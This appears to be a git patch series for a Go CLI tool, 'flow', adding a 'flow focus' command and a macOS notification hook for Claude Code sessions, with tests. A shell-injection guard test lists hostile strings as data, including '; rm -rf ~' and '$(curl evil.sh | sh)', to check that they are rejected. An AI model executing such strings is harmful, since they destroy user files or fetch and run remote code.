// Not listed in usage; invoked only by autoLauncher. @@ -103,6 +105,7 @@ Sessions: flow do [--fresh] [--dangerously-skip-permissions] flow do --auto (run headlessly in the background; self-completes via flow done) flow done + flow focus (bring the terminal tab running that session to the front) flow hook session-start (SessionStart hook handler — wire via ~/.claude/settings.json) Read: diff --git a/internal/app/focus.go b/internal/app/focus.go new file mode 100644 index 00000000..03e053b7 --- /dev/null +++ b/internal/app/focus.go @@ -0,0 +1,164 @@ +package app + +import ( + "flow/internal/flowdb" + "flow/internal/spawner" + "fmt" + "os" + "strings" +) + +// cmdFocus implements `flow focus `. +// +// It is the CLI surface for spawner.FocusSession, which until now was +// reachable only from inside `flow do` (do.go's live-session guard). +// The notification hook needs to focus a session by ID from outside any +// flow session — a notification banner's click action runs +// `flow focus ` — so the capability had to become a command. +// +// The argument accepts either a session UUID (what the Notification +// hook payload carries) or a task slug (what a human at a prompt would +// naturally type). Slugs are tried only when the argument doesn't look +// like a UUID, so a task that is somehow slugged like a UUID can't +// shadow a real session. +// +// Exit codes follow the repo convention: 0 = focused, 1 = runtime error +// or no matching tab, 2 = usage error. The "no matching tab" miss is a +// 1 rather than a 0 so a caller can branch on whether the focus +// actually happened. +func cmdFocus(args []string) int { + fs := flagSet("focus") + quiet := fs.Bool("quiet", false, "suppress output; report result via exit code only") + if err := fs.Parse(args); err != nil { + return 2 + } + rest := fs.Args() + if len(rest) != 1 { + fmt.Fprintln(os.Stderr, "usage: flow focus [--quiet]") + return 2 + } + ref := strings.TrimSpace(rest[0]) + if ref == "" { + fmt.Fprintln(os.Stderr, "error: focus requires a session id or task slug") + return 2 + } + + sessionID, task := resolveFocusTarget(ref) + if sessionID == "" { + fmt.Fprintf(os.Stderr, "error: no session found for %q — pass a session id, or a task slug that has been opened with `flow do`\n", ref) + return 1 + } + + // Resolve the harness from the task when we have one: the backends + // filter the process table by the harness binary name, and a task + // opened under codex/gemini won't match a hardcoded "claude". + // harnessForSpawn(nil) falls back to ambient-then-claude, which is + // the right guess when the session id isn't tracked by any task. + h, err := harnessForSpawn(task) + if err != nil { + fmt.Fprintf(os.Stderr, "error: %v\n", err) + return 1 + } + + focused, err := spawner.FocusSession(sessionID, h.Binary()) + if err != nil { + fmt.Fprintf(os.Stderr, "error: focus failed: %v\n", err) + return 1 + } + if !focused { + if !*quiet { + // Not an error the user caused — several backends (Warp, + // Ghostty) cannot select a specific tab at all, and a + // session may simply not be open in this terminal. + fmt.Fprintf(os.Stderr, "no matching tab found for session %s in the active terminal (%s)\n", + sessionID, spawner.Detect()) + } + return 1 + } + if !*quiet { + if task != nil { + fmt.Printf("focused: %s\n", task.Slug) + } else { + fmt.Printf("focused: %s\n", sessionID) + } + } + return 0 +} + +// resolveFocusTarget maps the user's argument to a session UUID and, +// when known, the task carrying it. Returns ("", nil) when nothing +// resolves. +// +// A UUID-shaped argument is used directly; the task lookup is a +// best-effort enrichment so we can name the task in output and pick the +// right harness, and its failure is not fatal — focusing a session that +// flow doesn't track is still a legitimate request. +func resolveFocusTarget(ref string) (string, *flowdb.Task) { + if looksLikeUUID(ref) { + return ref, taskBySessionIDQuiet(ref) + } + + dbPath, err := flowDBPath() + if err != nil { + return "", nil + } + db, err := flowdb.OpenDB(dbPath) + if err != nil { + return "", nil + } + defer db.Close() + + // includeArchived: an archived task can still have a live session + // in a tab the user wants to reach. + t, err := ResolveTask(db, ref, true) + if err != nil || t == nil { + return "", nil + } + if !t.SessionID.Valid || t.SessionID.String == "" { + return "", nil + } + return t.SessionID.String, t +} + +// taskBySessionIDQuiet reverse-looks-up a task by session id, swallowing +// every error. Callers use it for enrichment only. +func taskBySessionIDQuiet(sessionID string) *flowdb.Task { + dbPath, err := flowDBPath() + if err != nil { + return nil + } + db, err := flowdb.OpenDB(dbPath) + if err != nil { + return nil + } + defer db.Close() + t, err := flowdb.TaskBySessionID(db, sessionID) + if err != nil { + return nil + } + return t +} + +// looksLikeUUID reports whether s has the shape 8-4-4-4-12 hex digits. +// Deliberately laxer than the version/variant-pinned regex the focus +// backends use on ps output: this only decides whether to treat the +// argument as a session id or a slug, and a harness could legitimately +// mint a non-v4 id. +func looksLikeUUID(s string) bool { + groups := strings.Split(s, "-") + if len(groups) != 5 { + return false + } + for i, want := range []int{8, 4, 4, 4, 12} { + if len(groups[i]) != want { + return false + } + for _, r := range groups[i] { + isHex := (r >= '0' && r <= '9') || (r >= 'a' && r <= 'f') || (r >= 'A' && r <= 'F') + if !isHex { + return false + } + } + } + return true +} diff --git a/internal/app/focus_test.go b/internal/app/focus_test.go new file mode 100644 index 00000000..27f09e7e --- /dev/null +++ b/internal/app/focus_test.go @@ -0,0 +1,148 @@ +package app + +import ( + "flow/internal/harness/claude" + "flow/internal/iterm" + "flow/internal/spawner" + "path/filepath" + "testing" +) + +// TestLooksLikeUUID pins the discriminator that decides whether a +// `flow focus` argument is treated as a session id or a task slug. +func TestLooksLikeUUID(t *testing.T) { + cases := []struct { + in string + want bool + }{ + {"3123e5ff-01ed-4d8f-b5f2-4b75020d3f0f", true}, + {"3123E5FF-01ED-4D8F-B5F2-4B75020D3F0F", true}, // case-insensitive + {"11111111-2222-3333-4444-555555555555", true}, // non-v4 still accepted + {"flow-notify", false}, + {"", false}, + {"3123e5ff-01ed-4d8f-b5f2", false}, // too few groups + {"3123e5ff-01ed-4d8f-b5f2-4b75020d3f0f-extra", false}, // too many groups + {"3123e5ff-01ed-4d8f-b5f2-4b75020d3f0", false}, // last group short + {"zzzzzzzz-01ed-4d8f-b5f2-4b75020d3f0f", false}, // non-hex + {"a-really-long-slug-with-five-dashes-x", false}, // 5 groups, wrong widths + } + for _, tc := range cases { + if got := looksLikeUUID(tc.in); got != tc.want { + t.Errorf("looksLikeUUID(%q) = %v; want %v", tc.in, got, tc.want) + } + } +} + +// TestFocusUsageErrors covers the argument-count and empty-argument +// paths, which must exit 2 (usage) rather than 1 (runtime). +func TestFocusUsageErrors(t *testing.T) { + cases := []struct { + name string + args []string + }{ + {"no args", nil}, + {"two refs", []string{"a", "b"}}, + {"blank ref", []string{" "}}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if rc := cmdFocus(tc.args); rc != 2 { + t.Errorf("cmdFocus(%v) rc=%d, want 2", tc.args, rc) + } + }) + } +} + +// TestFocusE2E drives `flow focus` against a real temp flow root: an +// unopened task has no session and must fail cleanly, a task opened via +// `flow do` resolves its session id from its slug, and a bare session id +// works without any task backing it. +func TestFocusE2E(t *testing.T) { + tmp := t.TempDir() + flowRoot := filepath.Join(tmp, "flow") + t.Setenv("FLOW_ROOT", flowRoot) + t.Setenv("HOME", tmp) + + oldOverride := spawner.Override + spawner.Override = spawner.BackendITerm + t.Cleanup(func() { spawner.Override = oldOverride }) + + oldOsa := iterm.Runner + iterm.Runner = func(args []string) error { return nil } + t.Cleanup(func() { iterm.Runner = oldOsa }) + + oldSkip := claude.SkipPermissionsRunner + claude.SkipPermissionsRunner = func(prompt string) error { return nil } + t.Cleanup(func() { claude.SkipPermissionsRunner = oldSkip }) + + const sessionUUID = "3123e5ff-01ed-4d8f-b5f2-4b75020d3f0f" + oldNewUUID := claude.NewUUID + claude.NewUUID = func() (string, error) { return sessionUUID, nil } + t.Cleanup(func() { claude.NewUUID = oldNewUUID }) + + if rc := cmdInit(nil); rc != 0 { + t.Fatalf("init rc=%d", rc) + } + + // The focus backends are driven through iterm here (Override above); + // stub ps so nothing depends on the host's real process table. + var psOut string + oldPS := iterm.PSRunner + iterm.PSRunner = func() ([]byte, error) { return []byte(psOut), nil } + t.Cleanup(func() { iterm.PSRunner = oldPS }) + + var focusScripts []string + oldRO := iterm.RunnerOutput + iterm.RunnerOutput = func(args []string) ([]byte, error) { + if len(args) >= 2 { + focusScripts = append(focusScripts, args[1]) + } + return []byte("ok"), nil + } + t.Cleanup(func() { iterm.RunnerOutput = oldRO }) + + // An unknown slug is a runtime error, not a usage error. + if rc := cmdFocus([]string{"nope-not-a-task"}); rc != 1 { + t.Errorf("unknown slug rc=%d, want 1", rc) + } + + if rc := cmdAdd([]string{"task", "Focus target", "--slug", "focus-target", "--work-dir", tmp}); rc != 0 { + t.Fatalf("add task rc=%d", rc) + } + + // A task that has never been opened carries no session id, so there + // is nothing to focus — exit 1 with the "no session" message. + if rc := cmdFocus([]string{"focus-target"}); rc != 1 { + t.Errorf("unopened task rc=%d, want 1", rc) + } + + // Open it so the task gets a session id bound. + if rc := cmdDo([]string{"focus-target"}); rc != 0 { + t.Fatalf("do rc=%d", rc) + } + + // Now the slug resolves to the session id. ps reports that session + // on ttys002, so the focus should succeed. + psOut = "34348 ttys002 claude --session-id " + sessionUUID + " prompt text\n" + if rc := cmdFocus([]string{"focus-target"}); rc != 0 { + t.Errorf("focus by slug rc=%d, want 0", rc) + } + if len(focusScripts) == 0 { + t.Fatal("expected an osascript focus attempt") + } + + // A bare session id works the same way, with no slug lookup. + focusScripts = nil + if rc := cmdFocus([]string{sessionUUID}); rc != 0 { + t.Errorf("focus by session id rc=%d, want 0", rc) + } + if len(focusScripts) == 0 { + t.Error("expected an osascript focus attempt for the bare session id") + } + + // When ps has no matching row there is no tab to focus: exit 1. + psOut = "" + if rc := cmdFocus([]string{"focus-target"}); rc != 1 { + t.Errorf("focus with no live session rc=%d, want 1", rc) + } +} From 93aa260747fd2a59692a4cf4da7745045dbc81ea Mon Sep 17 00:00:00 2001 From: ishaankalra Date: Thu, 6 Aug 2026 11:00:13 +0530 Subject: [PATCH 3/5] feat(notify): macOS banner when a Claude session needs input MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Questions asked across many open flow tabs go unnoticed and stall tasks. A Claude Code Notification hook now raises a banner the moment a session blocks on a human, titled with the flow task resolved from the payload's session_id, so you know which tab is asking without hunting. Clicking it runs `flow focus ` and brings that tab to the front. - internal/notify: prefers terminal-notifier (a signed .app bundle with its own bundle id, which is what lets -execute attach a click action), degrading to osascript `display notification` when absent. osascript banners cannot carry a custom action — that needs a signed app registering UNNotificationAction categories — so the fallback posts without a click. Knowing which task is asking is still most of the value. - `flow hook notification`: filters to permission_prompt/idle_prompt, the two types meaning "blocked waiting on a human". The other types (auth_success, elicitation_*, agent_needs_input, agent_completed) would be noise across many tabs. settings.json carries a matcher so Claude Code filters server-side; the in-code check is the belt to that braces for a hand-edited config. Always exits 0 — a Notification hook cannot block anything, and one that errors on every prompt would be worse than no hook. - Banners group per session, so a chatty task replaces its own banner instead of burying the others. - finalizeAutoRun notifies on completed/dead. Autonomous runs have no tab and no human watching, so their outcome is otherwise invisible; notifying at the choke point covers every terminal transition, including the early return where the harness fails to resolve. - `flow skill install` auto-installs terminal-notifier via brew when missing. Soft in every direction: no brew or non-darwin skips it, a brew failure warns and continues, and delivery re-checks at runtime. SECURITY: terminal-notifier hands -execute to a shell, so the session id reaching that string is validated against a strict UUID shape rather than quoted. Anything else produces no click action at all, leaving no character a shell could act on. Verified end to end against real sessions: a live session going idle fired the hook organically and produced a correct banner, and both auto-run branches (completed and dead) were confirmed with real headless runs. Noise types produce zero banners and malformed payloads exit 0 silently. Co-Authored-By: Claude Opus 5 (1M context) --- README.md | 39 ++++ internal/app/auto.go | 22 ++ internal/app/hook.go | 4 +- internal/app/notification.go | 206 +++++++++++++++++ internal/app/notification_test.go | 359 ++++++++++++++++++++++++++++++ internal/app/notifier_dep.go | 71 ++++++ internal/app/skill.go | 29 +++ internal/harness/claude/claude.go | 12 + internal/harness/harness.go | 14 ++ internal/notify/notify.go | 153 +++++++++++++ internal/notify/notify_test.go | 227 +++++++++++++++++++ 11 files changed, 1135 insertions(+), 1 deletion(-) create mode 100644 internal/app/notification.go create mode 100644 internal/app/notification_test.go create mode 100644 internal/app/notifier_dep.go create mode 100644 internal/notify/notify.go create mode 100644 internal/notify/notify_test.go diff --git a/README.md b/README.md index 7d8252ca..ecbba4a7 100644 --- a/README.md +++ b/README.md @@ -315,6 +315,45 @@ This is the lane scheduled playbooks use to fire instructions at existing tasks without manual intervention. `flow run playbook ` accepts the same flags for ad-hoc per-run instructions. +### Desktop notifications + +When you're running several task tabs at once, a session that stops to +ask a question can sit unnoticed for a long time. flow installs a +Claude Code `Notification` hook that raises a macOS banner the moment a +session blocks on you — titled with the flow task, so you know which tab +is asking without hunting. + +Click the banner and flow brings that tab to the front. + +```bash +# Focus the tab running a session — what the banner click invokes. +flow focus +flow focus # same thing, if the task has been opened +``` + +Banners fire on the two notification types that mean "blocked waiting on +a human" (`permission_prompt` and `idle_prompt`), and are grouped per +session so a chatty task replaces its own banner instead of burying the +others. Autonomous `flow do --auto` runs also notify when they finish or +die, since they have no tab to watch. + +**Two setup notes:** + +- **Clickable banners need `terminal-notifier`.** macOS only lets a + registered app attach an action to a notification, which `osascript` + cannot do. `flow init` installs it via Homebrew automatically. Without + it you still get banners — they just aren't clickable. To install it + yourself: `brew install terminal-notifier`. +- **macOS must be allowed to show the banners.** Check System Settings → + Notifications and make sure `terminal-notifier` is enabled and set to + Banners or Alerts. Focus modes / Do Not Disturb will suppress them. + +Terminal support for click-to-focus matches what each terminal exposes: +iTerm2, Terminal.app, kitty and zellij focus the exact tab. Ghostty does +too, once its 1.4.0 release lands (the `tty` property the lookup needs +isn't in 1.3.x). Warp exposes no scripting surface for selecting a tab, +so a click foregrounds the app and leaves the tab switch to you. + ### `flow stats` Show usage & ROI analytics derived from your own flow history — how many diff --git a/internal/app/auto.go b/internal/app/auto.go index 176c5dd3..856e563e 100644 --- a/internal/app/auto.go +++ b/internal/app/auto.go @@ -176,15 +176,37 @@ func recordAutoRunLaunched(db *sql.DB, slug string, pid int, logPath string) err // finalizeAutoRun records a terminal auto-run status ('completed' or // 'dead') and clears the supervisor pid. Best-effort: errors are returned // for the caller to log, but the run is over regardless. +// +// This is also where the auto-run notification fires. An autonomous run +// has no tab and no human watching it, so without a banner its outcome +// is invisible until the user thinks to check. Notifying here rather +// than at the call sites means every terminal transition is covered — +// including the early-return path where the harness fails to resolve. func finalizeAutoRun(db *sql.DB, slug, status string) error { now := flowdb.NowISO() _, err := db.Exec( `UPDATE tasks SET auto_run_status=?, auto_run_finished=?, auto_run_pid=NULL, updated_at=? WHERE slug=?`, status, now, now, slug, ) + notifyAutoRun(slug, status, autoRunLogPath(db, slug)) return err } +// autoRunLogPath returns the recorded log path for a task's auto run, or +// "" if unavailable. Used to point a 'dead' notification at the log +// worth reading. Errors are swallowed — a missing path just means a +// slightly less helpful banner. +func autoRunLogPath(db *sql.DB, slug string) string { + t, err := flowdb.GetTask(db, slug) + if err != nil || t == nil { + return "" + } + if t.AutoRunLog.Valid { + return t.AutoRunLog.String + } + return "" +} + // reconcileAutoRun promotes a stale 'running' row to 'dead' when its // supervisor pid is no longer alive (crash, kill -9, reboot — anything // that prevented finalizeAutoRun from running). No-op for any other diff --git a/internal/app/hook.go b/internal/app/hook.go index 208d2b21..8df6ff4b 100644 --- a/internal/app/hook.go +++ b/internal/app/hook.go @@ -21,7 +21,7 @@ import ( // sessions are a no-op. func cmdHook(args []string) int { if len(args) == 0 { - fmt.Fprintln(os.Stderr, "error: hook requires a subcommand (session-start|user-prompt-submit)") + fmt.Fprintln(os.Stderr, "error: hook requires a subcommand (session-start|user-prompt-submit|notification)") return 2 } sub, rest := args[0], args[1:] @@ -30,6 +30,8 @@ func cmdHook(args []string) int { return cmdHookSessionStart(rest) case "user-prompt-submit": return cmdHookUserPromptSubmit(rest) + case "notification": + return cmdHookNotification(rest) default: fmt.Fprintf(os.Stderr, "error: unknown hook subcommand %q\n", sub) return 2 diff --git a/internal/app/notification.go b/internal/app/notification.go new file mode 100644 index 00000000..d2aa17ed --- /dev/null +++ b/internal/app/notification.go @@ -0,0 +1,206 @@ +package app + +import ( + "encoding/json" + "flow/internal/notify" + "fmt" + "io" + "os" + "strings" +) + +// notificationPayload is the JSON Claude Code writes to a Notification +// hook's stdin. Field names per the hooks documentation; only the ones +// flow acts on are modelled, and unknown fields are ignored so a future +// addition to the payload can't break parsing. +type notificationPayload struct { + SessionID string `json:"session_id"` + TranscriptPath string `json:"transcript_path"` + CWD string `json:"cwd"` + PermissionMode string `json:"permission_mode"` + HookEventName string `json:"hook_event_name"` + NotificationType string `json:"notification_type"` + Message string `json:"message"` +} + +// notifiableTypes are the notification_type values flow raises a banner +// for. Claude Code emits several others (auth_success, +// elicitation_dialog, elicitation_complete, elicitation_response, +// agent_needs_input, agent_completed) which are deliberately ignored: +// the point of this feature is "a session is BLOCKED waiting on me", +// and a banner for every event would be noise across many open tabs. +// +// The settings.json matcher filters these server-side too, so in +// practice the hook is rarely invoked for anything else. This check is +// the belt to that braces — a hand-edited settings.json with no matcher +// must not turn every event into a banner. +var notifiableTypes = map[string]bool{ + "permission_prompt": true, + "idle_prompt": true, +} + +// cmdHookNotification implements `flow hook notification`, wired as a +// Claude Code Notification hook. It reads the payload from stdin, +// resolves which flow task the session belongs to, and posts a macOS +// banner naming that task. Clicking the banner runs `flow focus +// `, bringing the asking tab to the front. +// +// Exit code is always 0. A Notification hook cannot block or alter the +// session, so there is nothing a non-zero exit would usefully +// communicate — and a hook that errors loudly on every prompt would be +// worse than no hook at all. Failures are silent by design, matching +// the never-fail-loud discipline the other flow hook handlers follow. +func cmdHookNotification(args []string) int { + fs := flagSet("hook notification") + if err := fs.Parse(args); err != nil { + return 0 + } + + raw, err := io.ReadAll(os.Stdin) + if err != nil || len(strings.TrimSpace(string(raw))) == 0 { + return 0 + } + + var p notificationPayload + if err := json.Unmarshal(raw, &p); err != nil { + return 0 + } + if !notifiableTypes[p.NotificationType] { + return 0 + } + + _ = notify.Notify(buildNotification(p)) + return 0 +} + +// buildNotification maps a payload to a notification request. Split out +// from cmdHookNotification so tests can assert the mapping without +// wiring stdin. +func buildNotification(p notificationPayload) notify.Request { + title := "flow" + subtitle := "" + + // Name the task when the session is one flow spawned. An unbound + // session still gets a banner — a Claude session asking for input is + // worth surfacing whether or not flow tracks it — it just can't be + // labelled with a task. + if t := taskBySessionIDQuiet(p.SessionID); t != nil { + title = "flow: " + t.Slug + subtitle = t.Name + } else if p.CWD != "" { + subtitle = shortenPath(p.CWD) + } + + // permission_prompt carries its own descriptive message; idle_prompt + // often arrives with an empty or generic one, so give it a body that + // says what actually happened. + message := strings.TrimSpace(p.Message) + if message == "" { + switch p.NotificationType { + case "idle_prompt": + message = "Waiting for your input." + case "permission_prompt": + message = "Needs permission to continue." + } + } + + return notify.Request{ + Title: title, + Subtitle: subtitle, + Message: message, + Execute: focusCommand(p.SessionID), + // Group by session so a session that asks repeatedly replaces + // its own banner instead of stacking. Sessions stay independent + // of each other, which is the whole point across many tabs. + Group: notificationGroup(p.SessionID), + Sound: "default", + } +} + +// focusCommand builds the shell command terminal-notifier runs when the +// banner is clicked. Returns "" when the session id fails validation, in +// which case the banner is posted without a click action. +// +// SECURITY: terminal-notifier passes -execute to a shell, so this string +// is a shell injection sink. The session id originates in a JSON payload +// on stdin — not attacker-controlled in any realistic flow deployment, +// but it is external input reaching a shell, so it is validated against +// a strict UUID shape rather than quoted. Anything that isn't +// hex-and-dashes in the 8-4-4-4-12 layout is rejected outright, which +// leaves no character a shell could act on. +func focusCommand(sessionID string) string { + if !looksLikeUUID(sessionID) { + return "" + } + return "flow focus " + sessionID +} + +// notificationGroup returns the -group ID for a session's banners. +// Validated the same way as focusCommand's input for consistency, +// though this value never reaches a shell. +func notificationGroup(sessionID string) string { + if !looksLikeUUID(sessionID) { + return "flow" + } + return "flow-" + sessionID +} + +// shortenPath renders a path with $HOME collapsed to "~" so a banner +// subtitle doesn't waste its limited width on /Users/. +func shortenPath(p string) string { + home, err := os.UserHomeDir() + if err != nil || home == "" { + return p + } + if p == home { + return "~" + } + if strings.HasPrefix(p, home+string(os.PathSeparator)) { + return "~" + p[len(home):] + } + return p +} + +// notifyAutoRun posts a banner when an autonomous (`flow do --auto`) +// run reaches a terminal state. Autonomous runs have no tab and no +// human watching, so their completion is otherwise invisible until the +// user thinks to check. +// +// status is the finalized auto_run_status: "completed" (the session +// closed itself via `flow done`) or "dead" (it exited without closing — +// usually a crash, and the log is worth reading). +// +// Best-effort and silent: this is called from the auto-run supervisor's +// shutdown path, where a notification failure must not affect the run's +// recorded outcome. +func notifyAutoRun(slug, status, logPath string) { + var message string + switch status { + case "completed": + message = "Autonomous run finished and closed itself out." + case "dead": + message = "Autonomous run exited without completing." + if logPath != "" { + message += " Log: " + shortenPath(logPath) + } + default: + return + } + + _ = notify.Notify(notify.Request{ + Title: "flow: " + slug, + Subtitle: "auto run " + status, + Message: message, + // No -execute: an auto run has no tab to focus. Opening the + // task's log would need a viewer choice we haven't made. + Group: "flow-auto-" + slug, + Sound: "default", + }) +} + +// notificationHookHelp is printed by `flow hook notification --help` +// style probing; kept as a var so the string is testable. +var notificationHookHelp = fmt.Sprintf( + "reads a Claude Code Notification payload on stdin and posts a macOS banner for %s events", + strings.Join([]string{"permission_prompt", "idle_prompt"}, "/"), +) diff --git a/internal/app/notification_test.go b/internal/app/notification_test.go new file mode 100644 index 00000000..d03d9b7a --- /dev/null +++ b/internal/app/notification_test.go @@ -0,0 +1,359 @@ +package app + +import ( + "encoding/json" + "flow/internal/notify" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +const testSessionUUID = "3123e5ff-01ed-4d8f-b5f2-4b75020d3f0f" + +// stubNotify captures notify.Notify calls and forces the +// terminal-notifier-present branch so Request fields are observable. +func stubNotify(t *testing.T) *[]notify.Request { + t.Helper() + var reqs []notify.Request + + oldLook := notify.LookPath + notify.LookPath = func(string) (string, error) { return "/usr/local/bin/terminal-notifier", nil } + t.Cleanup(func() { notify.LookPath = oldLook }) + + oldRunner := notify.Runner + notify.Runner = func(name string, args ...string) error { + req := notify.Request{} + for i := 0; i+1 < len(args); i += 2 { + switch args[i] { + case "-title": + req.Title = args[i+1] + case "-subtitle": + req.Subtitle = args[i+1] + case "-message": + req.Message = args[i+1] + case "-execute": + req.Execute = args[i+1] + case "-group": + req.Group = args[i+1] + case "-sound": + req.Sound = args[i+1] + } + } + reqs = append(reqs, req) + return nil + } + t.Cleanup(func() { notify.Runner = oldRunner }) + + return &reqs +} + +// runNotificationHook feeds a payload to the hook via a temp file on +// stdin and returns the exit code. +func runNotificationHook(t *testing.T, payload string) int { + t.Helper() + f, err := os.CreateTemp(t.TempDir(), "payload-*.json") + if err != nil { + t.Fatalf("temp file: %v", err) + } + if _, err := f.WriteString(payload); err != nil { + t.Fatalf("write payload: %v", err) + } + if _, err := f.Seek(0, 0); err != nil { + t.Fatalf("seek: %v", err) + } + oldStdin := os.Stdin + os.Stdin = f + defer func() { os.Stdin = oldStdin; f.Close() }() + + return cmdHookNotification(nil) +} + +func payloadJSON(t *testing.T, notificationType, message, sessionID string) string { + t.Helper() + b, err := json.Marshal(notificationPayload{ + SessionID: sessionID, + HookEventName: "Notification", + NotificationType: notificationType, + Message: message, + CWD: "/tmp/repo", + }) + if err != nil { + t.Fatalf("marshal: %v", err) + } + return string(b) +} + +// TestNotificationHookFiresOnBlockingTypes — the two types that mean +// "blocked waiting on a human" must produce a banner. +func TestNotificationHookFiresOnBlockingTypes(t *testing.T) { + for _, nt := range []string{"permission_prompt", "idle_prompt"} { + t.Run(nt, func(t *testing.T) { + reqs := stubNotify(t) + rc := runNotificationHook(t, payloadJSON(t, nt, "Claude needs your input", testSessionUUID)) + if rc != 0 { + t.Errorf("rc=%d, want 0", rc) + } + if len(*reqs) != 1 { + t.Fatalf("expected 1 notification, got %d", len(*reqs)) + } + if (*reqs)[0].Message != "Claude needs your input" { + t.Errorf("message = %q", (*reqs)[0].Message) + } + }) + } +} + +// TestNotificationHookIgnoresOtherTypes — Claude Code emits several +// other notification_type values. Banners for those would be noise, so +// the hook must stay silent even if settings.json has no matcher. +func TestNotificationHookIgnoresOtherTypes(t *testing.T) { + others := []string{ + "auth_success", "elicitation_dialog", "elicitation_complete", + "elicitation_response", "agent_needs_input", "agent_completed", + "", "something_new_in_a_future_release", + } + for _, nt := range others { + t.Run(nt, func(t *testing.T) { + reqs := stubNotify(t) + rc := runNotificationHook(t, payloadJSON(t, nt, "should not notify", testSessionUUID)) + if rc != 0 { + t.Errorf("rc=%d, want 0", rc) + } + if len(*reqs) != 0 { + t.Errorf("expected no notification for %q, got %d", nt, len(*reqs)) + } + }) + } +} + +// TestNotificationHookMalformedInput — a hook that errors on every +// prompt is worse than no hook, so bad input exits 0 silently. +func TestNotificationHookMalformedInput(t *testing.T) { + cases := map[string]string{ + "empty": "", + "whitespace": " \n ", + "not json": "this is not json at all", + "truncated json": `{"session_id": "abc"`, + "json array": `["wrong", "shape"]`, + "null": "null", + "wrong types": `{"notification_type": 42, "message": []}`, + } + for name, payload := range cases { + t.Run(name, func(t *testing.T) { + reqs := stubNotify(t) + if rc := runNotificationHook(t, payload); rc != 0 { + t.Errorf("rc=%d, want 0 — a Notification hook must never fail loud", rc) + } + if len(*reqs) != 0 { + t.Errorf("malformed input must not notify, got %d", len(*reqs)) + } + }) + } +} + +// TestBuildNotificationUnboundSession — a session flow doesn't track +// still gets a banner; it just can't be labelled with a task, so the +// cwd stands in as the subtitle. +func TestBuildNotificationUnboundSession(t *testing.T) { + t.Setenv("FLOW_ROOT", filepath.Join(t.TempDir(), "nonexistent")) + + req := buildNotification(notificationPayload{ + SessionID: testSessionUUID, + NotificationType: "permission_prompt", + Message: "May I edit main.go?", + CWD: "/tmp/some/repo", + }) + if req.Title != "flow" { + t.Errorf("title = %q; want the bare fallback %q", req.Title, "flow") + } + if req.Subtitle != "/tmp/some/repo" { + t.Errorf("subtitle = %q; want the cwd", req.Subtitle) + } + if req.Message != "May I edit main.go?" { + t.Errorf("message = %q", req.Message) + } +} + +// TestBuildNotificationDefaultMessages — idle_prompt often arrives with +// an empty message; a bodyless banner would be dropped by macOS, so a +// sensible default is substituted per type. +func TestBuildNotificationDefaultMessages(t *testing.T) { + t.Setenv("FLOW_ROOT", filepath.Join(t.TempDir(), "nonexistent")) + + cases := map[string]string{ + "idle_prompt": "Waiting for your input.", + "permission_prompt": "Needs permission to continue.", + } + for nt, want := range cases { + req := buildNotification(notificationPayload{ + SessionID: testSessionUUID, + NotificationType: nt, + Message: " ", + }) + if req.Message != want { + t.Errorf("%s: message = %q; want %q", nt, req.Message, want) + } + } +} + +// TestFocusCommandRejectsNonUUID is the injection guard. terminal- +// notifier hands -execute to a shell, so anything that isn't a strict +// UUID must produce no click command at all rather than being quoted +// and hoped for. +func TestFocusCommandRejectsNonUUID(t *testing.T) { + malicious := []string{ + "; rm -rf ~", + "$(curl evil.sh | sh)", + "`whoami`", + "abc && open -a Calculator", + "3123e5ff-01ed-4d8f-b5f2-4b75020d3f0f; echo pwned", + "../../etc/passwd", + "", + "not-a-uuid", + } + for _, in := range malicious { + if got := focusCommand(in); got != "" { + t.Errorf("focusCommand(%q) = %q; want \"\" — non-UUID input must never reach a shell", in, got) + } + } + + // The legitimate shape still produces a command. + if got := focusCommand(testSessionUUID); got != "flow focus "+testSessionUUID { + t.Errorf("focusCommand(valid) = %q", got) + } +} + +// TestNotificationGroupIsPerSession — banners group by session so a +// chatty session replaces its own banner instead of burying the others. +func TestNotificationGroupIsPerSession(t *testing.T) { + a := notificationGroup(testSessionUUID) + b := notificationGroup("99999999-8888-4777-8666-555555555555") + if a == b { + t.Error("distinct sessions must get distinct groups") + } + if a != "flow-"+testSessionUUID { + t.Errorf("group = %q", a) + } + if got := notificationGroup("garbage"); got != "flow" { + t.Errorf("invalid session group = %q; want the %q fallback", got, "flow") + } +} + +// TestShortenPath collapses $HOME so a subtitle doesn't waste width. +func TestShortenPath(t *testing.T) { + home, err := os.UserHomeDir() + if err != nil { + t.Skip("no home dir") + } + cases := map[string]string{ + home: "~", + filepath.Join(home, "repo"): filepath.Join("~", "repo"), + "/tmp/elsewhere": "/tmp/elsewhere", + home + "-not-actually-home": home + "-not-actually-home", + } + for in, want := range cases { + if got := shortenPath(in); got != want { + t.Errorf("shortenPath(%q) = %q; want %q", in, got, want) + } + } +} + +// TestNotifyAutoRun — autonomous runs have no tab, so completion and +// death both need a banner, and neither carries a click action. +func TestNotifyAutoRun(t *testing.T) { + t.Run("completed", func(t *testing.T) { + reqs := stubNotify(t) + notifyAutoRun("my-task", "completed", "/tmp/run.log") + if len(*reqs) != 1 { + t.Fatalf("expected 1 notification, got %d", len(*reqs)) + } + r := (*reqs)[0] + if !strings.Contains(r.Title, "my-task") { + t.Errorf("title = %q; want the task slug", r.Title) + } + if r.Execute != "" { + t.Errorf("auto-run banners have no tab to focus; Execute = %q", r.Execute) + } + }) + + t.Run("dead includes log path", func(t *testing.T) { + reqs := stubNotify(t) + notifyAutoRun("my-task", "dead", "/tmp/run.log") + if len(*reqs) != 1 { + t.Fatalf("expected 1 notification, got %d", len(*reqs)) + } + if !strings.Contains((*reqs)[0].Message, "/tmp/run.log") { + t.Errorf("dead banner should point at the log: %q", (*reqs)[0].Message) + } + }) + + t.Run("non-terminal status is silent", func(t *testing.T) { + reqs := stubNotify(t) + notifyAutoRun("my-task", "running", "") + if len(*reqs) != 0 { + t.Errorf("only terminal statuses notify, got %d", len(*reqs)) + } + }) +} + +// TestEnsureNotifierInstalledSkipsWhenPresent — the dependency install +// is a one-time cost, not per-upgrade work. +func TestEnsureNotifierInstalledSkipsWhenPresent(t *testing.T) { + oldLook := notify.LookPath + notify.LookPath = func(string) (string, error) { return "/usr/local/bin/terminal-notifier", nil } + t.Cleanup(func() { notify.LookPath = oldLook }) + + brewCalls := 0 + oldBrew := brewInstallRunner + brewInstallRunner = func(string) error { brewCalls++; return nil } + t.Cleanup(func() { brewInstallRunner = oldBrew }) + + ensureNotifierInstalled() + if 